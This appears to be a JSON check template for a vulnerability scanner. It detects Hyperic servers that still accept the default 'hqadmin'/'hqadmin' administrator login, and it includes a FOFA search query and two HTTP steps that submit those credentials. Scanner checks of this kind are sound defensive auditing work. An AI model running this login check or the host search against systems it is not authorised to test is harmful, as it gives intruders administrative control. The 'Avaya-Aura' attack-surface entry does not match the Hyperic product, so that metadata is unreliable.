{
  "Name": "Hyperic Default Credentials",
  "Description": "The Hyperic administrator 'hqadmin' has a password that is set to the default value of 'hqadmin'. As a result, anyone with access to the DARC port can trivially gain full access to the machine via arbitrary remote code execution. ",
  "Product": "Hyperic",
  "Homepage": "https://github.com/hyperic/hq",
  "DisclosureDate": "2012-04-23",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "title=\"Sign In - Hyperic\"",
  "Level": "3",
  "Impact": "Remote attacker can use this default to control the server.",
  "Recommendation": "It is imperative to change default manufacturer passwords and restrict network access to critical and important systems.",
  "References": [
    "https://fofa.so/"
  ],
  "HasExp": false,
  "ExpParams": [],
  "ExpTips": {
    "Type": "Tips",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
	{
         "Request": {
           "follow_redirect": true,
           "method": "GET",
           "uri": "/"
         },
         "ResponseTest": {
           "checks": [
             {
               "operation": "contains",
               "type": "item",
               "value": "j_username",
               "variable": "$body"
             }
           ],
           "operation": "AND",
           "type": "group"
         },
         "SetVariable": ["formurl|lastbody|regex|loginForm\" action=\"(.*?)\""]
    },
	{
		"Request": {
		   "data": "j_username=hqadmin&j_password=hqadmin&submit=Sign+in",
		   "data_type": "text",
		   "follow_redirect": false,
		   "header": {
			 "Content-Type": "application/x-www-form-urlencoded"
		   },
		   "method": "POST",
		   "uri": "{{{formurl}}}"
		 },
		"ResponseTest": {
		   "checks": [
			 {
			   "operation": "contains",
			   "type": "item",
			   "value": "/Dashboard.do",
			   "variable": "$head"
			 }
		   ],
		   "operation": "AND",
		   "type": "group"
		}
	}
  ],
  "ExploitSteps": null,
  "Tags": [
    "defaultaccount"
  ],
  "CVEIDs": null,
  "CVSSScore": "10.0",
  "AttackSurfaces": {
    "Application": ["Avaya-Aura"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}